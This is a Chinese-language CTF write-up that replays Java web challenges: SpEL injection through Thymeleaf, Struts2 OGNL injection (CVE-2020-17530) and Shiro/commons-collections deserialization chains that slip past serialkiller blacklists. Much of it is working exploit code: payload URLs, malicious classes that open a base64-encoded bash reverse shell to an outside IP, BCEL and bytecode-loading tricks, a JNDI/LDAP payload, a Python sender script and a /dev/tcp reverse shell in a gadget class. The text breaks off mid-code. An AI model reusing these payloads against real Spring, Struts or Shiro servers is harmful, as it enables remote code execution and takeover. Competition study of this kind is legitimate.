近期java赛题复现
Mini-L-CTF-2022 minispringboot
Spring View Manipulation注入,也是基于Thymeleaf的ssti。当时get参数是个?name=xxx,强烈怀疑是注入点,但是没反应。结果路由也是可以注的
可参考 https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#java 里的 Thymeleaf
这里涉及到SpringEL,这个是用来方便Bean依赖注入的东西。先学一下SpringEL基本语法
https://blog.csdn.net/wb1046329430/article/details/121563724
值得注意的是,T(xxx)可以引入xxx这个包
本地可以起一个spring测试一下SpringEL Expression
main里写一个类
package com.example.spel;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;
@Component
public class SpringEl {
@Value("#{T(java.lang.Runtime).getRuntime().exec(\"calc\")}")
public Object v;
}
test里写一个测试类
package com.example.spel;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
@SpringBootTest
class Test1 {
@Autowired
private SpringEl springEl;
@Test
void test(){
System.out.println(springEl.v);
}
}
题目过滤了new和runtime,第一种方法(官方的预期)用process builder绕过(下面的payload最后都需要urlencode,为了方便看先不编码):
另外测试会发现new可以换成New,也可以执行的
http://192.168.238.165:49153/__${New ProcessBuilder("curl xxx.dnslog.cn").start()}__::.x
然后想要弹shell的话,ProcessBuilder里面的命令也是有点学问的,可以参考
https://www.jianshu.com/p/eb41a0291123
https://www.jianshu.com/p/ae3922db1f70
按文章的思路,加上本地测试一下构造这个Payload即可弹shell
有一点,payload中有'/'就会报400错误,要避免这个。
http://192.168.238.165:49153/__${New ProcessBuilder("bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}").start()}__::.x
另外,这题是有很多其他思路的。以下参考了Flowey大佬们的wp
既然字符串被过滤,那么反射forName绕一下就好了(下面payload填在大括号里)
"".getClass().forName("java.lang.Run"+"time").getMethod("exec", "".getClass()).invoke("".getClass().forName("java.lang.Run"+"time").getMethod("getRun"+"time").invoke("".getClass().forName("java.lang.Run"+"time")),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}")
但是没反应。放到上面的@Value测试以下会发现报这个错。
进一步测试,执行curl xxx.dnslog.cn是可行的,直接java运行上面的反射代码也是可行的,但是放在SpringEL里就是不行。(没有进一步debug
另换一个思路,直接动态加载字节码。
https://blog.csdn.net/mole_exp/article/details/122768814
先看一下原生classLoader是怎么加载字节码的
Evil.java(无包名)
import java.io.IOException;
public class Evil {
static {
try {
// String cmd="gnome-calculator";
String cmd="bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}";
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
static void test1() throws Exception{
byte[] evilBytes= Files.readAllBytes(Paths.get("/home/remake/IdeaProjects/SringEL/target/classes/Evil.class"));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
defineClass.setAccessible(true);
Class Evil = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"Evil",evilBytes,0,evilBytes.length);
Evil.newInstance();
}
但是需要defineClass.setAccessible(true);
,然而我们的SpringEL表达式只有一行,需要换一种思路
题目是jdk1.8,自带了BCEL ClassLoader,具体可以参考p神的文章
先试一下怎么加载
package com.example.sringel;
import java.lang.reflect.Method;
import java.net.URLEncoder;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class MemTest{
public static void main(String[] args) throws Exception{
byte[] evilBytes= Files.readAllBytes(Paths.get("/home/remake/IdeaProjects/SringEL/target/classes/Evil.class"));
runBcelTest();
}
static void runBcelTest() throws Exception{
byte[] evilBytes= Files.readAllBytes(Paths.get("/home/remake/IdeaProjects/SringEL/target/classes/Evil.class"));
String bcelCode=generateBcelCode2(evilBytes);
ClassLoader bcelClassLoader = new ClassLoader();
bcelClassLoader.loadClass(bcelCode).newInstance();
}
public static String generateBcelCode2(byte[] codes) throws Exception {
String code = Utility.encode(codes, true);
String bcelCode = "$$BCEL$$" + code;
System.out.println("bcelcode=" + bcelCode);
return bcelCode;
}
}
会发现newInstance的时候还是会被waf,所以又得反射绕一下才行。
写一个生成大致payload的脚本
static void BCEL_pay() throws Exception{
byte[] evilBytes= Files.readAllBytes(Paths.get("/home/remake/IdeaProjects/SringEL/target/classes/Evil.class"));
String encode=generateBcelCode2(evilBytes);
// new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(encode).newInstance();
String inside="\"\".getClass().forName(\"java.lang.Class\").getDeclaredMethod(\"n\"+\"ewInstance\").invoke(New com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\""+encode+"\"))";
String pay="__${"+inside+"}__::.x";
pay="http://192.168.238.165:49153/"+URLEncoder.encode(pay);
System.out.println(pay);
}
有两个坑点卡了我好久,第一个是forName前如果写成Class.forName,直接丢到前面的@Value是可以通的,但是题目就不行。另一个是java的URLencoder不知怎么把New后面的空格变成了+。但总之这个方法是可以反弹shell的。payload如下(未urlencode)
http://192.168.238.165:49153/__${"".getClass().forName("java.lang.Class").getDeclaredMethod("n"+"ewInstance").invoke(New com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("那一串编码"))}__::.x
另外Flowey的师傅用了spring自带的org.springframework.cglib.core.ReflectUtils和org.springframework.util.ClassUtils来加载.原理如下
org.springframework.cglib.core.ReflectUtils.defineClass("Evil",com.sun.org.apache.xerces.internal.impl.dv.util.HexBin.decode(16进制字节码),org.springframework.util.ClassUtils.getDefaultClassLoader());
static void spring_pay() throws Exception{
byte[] evilBytes= Files.readAllBytes(Paths.get("/home/remake/IdeaProjects/SringEL/target/classes/Evil.class"));
String encode = com.sun.org.apache.xerces.internal.impl.dv.util.HexBin.encode(evilBytes);
// System.out.println(encode);
String payload="http://192.168.238.165:49153/"+ URLEncoder.encode("__${"+
"T(org.springframework.cglib.core.ReflectUtils).defineClass(\"Evil\",T(com.sun.org.apache.xerces.internal.impl.dv.util.HexBin).decode(\""+
encode
+"\"),T(org.springframework.util.ClassUtils).getDefaultClassLoader())"
+"}__::.x");
System.out.println(payload);
// org.springframework.cglib.core.ReflectUtils.defineClass("Evil",com.sun.org.apache.xerces.internal.impl.dv.util.HexBin.decode(encode),org.springframework.util.ClassUtils.getDefaultClassLoader());
}
生成的payload
http://192.168.238.165:49153/__${T(org.springframework.cglib.core.ReflectUtils).defineClass("Evil",T(com.sun.org.apache.xerces.internal.impl.dv.util.HexBin).decode("16进制字节码"),T(org.springframework.util.ClassUtils).getDefaultClassLoader())}__::.x
也是可以通的
Mini-L-CTF-2022 Mini Struts2
结合题目名字和版本可以搜到CVE-2020-17530
尝试访问http://192.168.238.165:49154/index.action?id=%25%7B1%2B1%7D
发现回显中的超链接变成了<a id="2" href="./asserts/%{1+1}.jpg">Go to see the photo!</a>
,找到注入点。payload和分析可以参考
https://github.com/EdgeSecurityTeam/Vulnerability/blob/main/Struts2 s2-061 Poc (CVE-2020-17530).md
这里是OGNL表达式,和上面的SpringEL其实大同小异.贴一下官方文档
https://commons.apache.org/proper/commons-ognl/language-guide.html
但是题目是有waf的
第一种思路,用上面payload的jndi注入。
jndi服务用marshalsec来搭
写一个恶意类弹shell
import java.io.IOException;
public class UnicodeSec {
static {
try {
String cmd="bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}";
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
编译之后把class放到nginx服务器上,marshalsec再指定即可。
脚本发包
import requests
url="http://192.168.238.165:49154/index.action"
# url="http://localhost:32131/web2_war_exploded/index.action"
def go(id):
c1={"token":"6T0FSVYG58zhpPB3zslJ7lBiHLcUALk+GblpyVh9xnRaOTzVsSnjUZJhcwoi14eJN9URv29TbkMwNWaCPDZ+8wNVLB/E/YpZsjNJPEfyQSWRFFoLQhsCb5b+YECiNYpb3554e0l4+jC2IdzgcJBQEIEX3HRcyR7aAdaRoTNfu3zxX4OR4ZPodBCGpH2YNeqU"}
text=requests.get(url+"?id="+encode_all(id),cookies=c1).text
print(text)
def encode_all(string):
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
if __name__=='__main__':
id="%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#rw=#UnicodeSec.newInstance('com.sun.rowset.JdbcRowSetImpl')).(#rw.setDataSourceName('ldap://xxx:2334/UnicodeSec')).(#rw.getDatabaseMetaData())}"
go(id)
然鹅复现失败了QwQ..ldap和rmi都不行(未来穿越的我:jdk高版本jndi可以绕),而且脚本小子不太会debug 555
不过题目的预期解也不是要弹shell,观察Unserialize类
package WEB-INF.classes.ctf.minil.utils;
import ctf.minil.models.User;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.attribute.BasicFileAttributes;
import java.util.Base64;
public class Unserialize {
public Object unserialize(String obj) throws IOException, ClassNotFoundException {
byte[] bytes = Base64.getDecoder().decode(obj);
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
try {
String name = ois.readUTF();
int year = ois.readInt();
if (name.equals("MiniLCTF") && year == 2022) {
File file = new File("/flag");
BasicFileAttributes basicFileAttributes = Files.readAttributes(file.toPath(), BasicFileAttributes.class, new java.nio.file.LinkOption[0]);
if (basicFileAttributes.isRegularFile() && file.exists()) {
byte[] fileContent = new byte[(int)basicFileAttributes.size()];
FileInputStream in = new FileInputStream(file);
in.read(fileContent);
in.close();
return new User(new String(fileContent), "947866");
}
}
} catch (Exception e) {
return ois.readObject();
}
return ois.readObject();
}
}
能调用Unserialze反序列化特定的user就能返回flag。仔细阅读一下上面的payload分析,发现可以用org.apache.tomcat.InstanceManager#newInstance
实例化任意无参构造方法的类并返回(只要不在OGNL的黑名单里。
另外#res这个变量似乎可以控制整个OGNL的返回值。所以先搞一个user
package ctf.minil.models;
import java.io.*;
import java.util.Base64;
import ctf.minil.utils.Unserialize;
public class fakeUser {
public static void main(String[] args) throws Exception{
User u=new User("","");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeUTF("MiniLCTF");
oos.writeInt(2022);
oos.writeObject(u);
byte[] bytes = bos.toByteArray();
String encode=Base64.getEncoder().encodeToString(bytes);
System.out.println(encode);
// new Unserialize().unserialize(encode);
}
}
改一下exec的payload
%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#un=#UnicodeSec.newInstance('ctf.minil.utils.Unserialize')).(#flag=#un.unserialize('上面的base64').getName()).(#res=#flag)}
然后发包
import requests
url="http://192.168.238.165:49154/index.action"
# url="http://localhost:32131/web2_war_exploded/index.action"
def go(id):
c1={"token":"6T0FSVYG58zhpPB3zslJ7lBiHLcUALk+GblpyVh9xnRaOTzVsSnjUZJhcwoi14eJN9URv29TbkMwNWaCPDZ+8wNVLB/E/YpZsjNJPEfyQSWRFFoLQhsCb5b+YECiNYpb3554e0l4+jC2IdzgcJBQEIEX3HRcyR7aAdaRoTNfu3zxX4OR4ZPodBCGpH2YNeqU"}
text=requests.get(url+"?id="+encode_all(id),cookies=c1).text
print(text)
def encode_all(string):
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
if __name__=='__main__':
# id="%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#rw=#UnicodeSec.newInstance('com.sun.rowset.JdbcRowSetImpl')).(#rw.setDataSourceName('rmi://49.232.201.163:2334/UnicodeSec')).(#rw.getDatabaseMetaData())}"
id="%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#un=#UnicodeSec.newInstance('ctf.minil.utils.Unserialize')).(#flag=#un.unserialize('rO0ABXcOAAhNaW5pTENURgAAB+ZzcgAVY3RmLm1pbmlsLm1vZGVscy5Vc2VyAAAAAAAAAAECAANJAAR5ZWFyTAAIcGFzc3dvcmR0ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHAAAAAAdAAAcQB+AAM=').getUsername()).(#res=#flag)}"
go(id)
返回的id就是flag
车联网ezcc
shrio反序列化
serialkiller.conf
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<blacklist>
<regexp>^org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
<regexp>^org\.apache\.commons\.beanutils\.BeanComparator$</regexp>
<regexp>^org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
<regexp>^java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>
</blacklist>
<whitelist>
<regexp>.*</regexp>
</whitelist>
<logging>
<enabled>false</enabled>
</logging>
</config>
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.govuln</groupId>
<artifactId>shirodemo</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>
<name>shirodemo Maven Webapp</name>
<url>http://www.example.com</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.2</version>
<scope>provided</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.30</version>
</dependency>
</dependencies>
<build>
<finalName>shirodemo</finalName>
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
<plugins>
<plugin>
<artifactId>maven-clean-plugin</artifactId>
<version>3.1.0</version>
</plugin>
<!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
<plugin>
<artifactId>maven-resources-plugin</artifactId>
<version>3.0.2</version>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.22.1</version>
</plugin>
<plugin>
<artifactId>maven-war-plugin</artifactId>
<version>3.2.2</version>
</plugin>
<plugin>
<artifactId>maven-install-plugin</artifactId>
<version>2.5.2</version>
</plugin>
<plugin>
<artifactId>maven-deploy-plugin</artifactId>
<version>2.8.2</version>
</plugin>
</plugins>
</pluginManagement>
</build>
</project>
shiro不能带数组,不能用transformer[]
用InstantiateTransformer加载字节码,即可绕过那几个transformer。另外用DefaultedMap可以达到控制x1.transform(x2),即可执行InstantiateTransformer.transform(TrAXFilter.class)
package test;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.DefaultedMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl=getTemplates();
// InstantiateTransformer.transform(TrAXFilter.class)
InstantiateTransformer it=new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});
/*
* expMap.readObj()
* expMap.key.hashcode()
* tiedMapEntry.hashcode()
* tiedMapEntry.map.get(tiedMapEntry.key)
* outerMap.get(tiedMapEntry.key)
* DefaultedMap.get(tiedMapEntry.key)
* DefaultedMap.value.transform(tiedMapEntry.key)
* x1.transform(x2)
* x1=DefaultedMap.value x2=TiedMapEntry.key
* InstantiateTransformer.transform(TrAXFilter.class)
* */
Map innerMap = new HashMap();
Map outerMap = DefaultedMap.decorate(innerMap, new ConstantTransformer(0));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, TrAXFilter.class);
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "valuevalue");
outerMap.remove(TrAXFilter.class);
setFieldValue(outerMap, "value", it);
byte[] b=serialize(expMap);
deserialize(b);
}
public CC6() {
}
public static byte[] serialize(Object o) {
try {
ByteArrayOutputStream aos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(aos);
oos.writeObject(o);
oos.flush();
oos.close();
return aos.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field fieldName = obj.getClass().getDeclaredField(name);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
public static void deserialize(byte[] bytes) {
try {
ByteArrayInputStream ais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(ais);
ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
static TemplatesImpl getTemplates() throws Exception{
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
return obj;
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = classPool.makeClass("Evil");
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
String shell = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(shell);
byte[] shellCode = ctClass.toBytecode();
byte[][] targetByteCode = new byte[][]{shellCode};
TemplatesImpl templates = new TemplatesImpl();
Class c1 = templates.getClass();
Field _name = c1.getDeclaredField("_name");
Field _bytecode = c1.getDeclaredField("_bytecodes");
Field _tfactory = c1.getDeclaredField("_tfactory");
_name.setAccessible(true);
_bytecode.setAccessible(true);
_tfactory.setAccessible(true);
_name.set(templates, "h3rmesk1t");
_bytecode.set(templates, targetByteCode);
_tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}
}
注意,那行 Map outerMap = DefaultedMap.decorate(innerMap, new ConstantTransformer(0));
其实没有序列化ConstantTransformer,后面会remove掉的
nama的exp,用了LazyMap
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Exp {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException {
byte[] payloads = new Payload().getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("7Bhs26ccN6i/0AT9GhZULF==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
class Payload {
public Payload(){
}
public byte[] getPayload() throws IOException, IllegalAccessException, NoSuchFieldException, NotFoundException, CannotCompileException {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj });
Transformer fakeTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, fakeTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);
HashMap expmap = new HashMap();
expmap.put(tme,"xxxxxx");
outerMap.clear();
Field f = LazyMap.class.getDeclaredField("factory");
f.setAccessible(true);
f.set(outerMap, transformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expmap);
oos.close();
return barr.toByteArray();
}
public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field fieldName = obj.getClass().getDeclaredField(name);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public HelloTemplatesImpl() {
super();
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});
p.waitFor();
}catch (Exception e){}
}
}
tsctf2022(mrctf2022) ezjava
和上题一样的绕链子
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<!-- set to 'false' for blocking mode -->
<profiling>false</profiling>
</mode>
<logging>
<enabled>false</enabled>
</logging>
<blacklist>
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
<!-- ysoserial's CommonsCollections2,4 payload -->
<regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
</blacklist>
<whitelist>
<regexp>.*</regexp>
</whitelist>
</config>
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>easyJava</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>easyJava</name>
<description>easyJava</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.1.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-lang/commons-lang -->
<dependency>
<groupId>commons-lang</groupId>
<artifactId>commons-lang</artifactId>
<version>2.6</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.4</version>
</dependency>
<dependency>
<groupId>org.nibblesec</groupId>
<artifactId>serialkiller</artifactId>
<version>0.4</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
配合FactoryTransformer和InstantiateFactory可以达到InstantiateTransformer一样的效果,从而绕过黑名单。其他地方和上题大同小异。另外,虽然黑名单有Transformer,但是serialkiller其实是通过重写ObjectInputStream#resolveClass方法获取了类名,是完整的包名,所以仅仅是继承一个Transformer接口的类也是可以反序列化的
package com.example.easyjava.solve;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.DefaultedMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl=getTemplates();
/*
* DefaultedMap(outerMap).value.transform(tiedMapEntry.key)
*
* */
InstantiateFactory factory = new InstantiateFactory(
TrAXFilter.class,
new Class[]{
Templates.class
},new Object[]{
templatesImpl
}
);
FactoryTransformer chainedTransformer = new FactoryTransformer(factory);
Map innerMap = new HashMap();
Map outerMap = DefaultedMap.decorate(innerMap, new ConstantTransformer(0));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "valuevalue");
outerMap.remove("keykey");
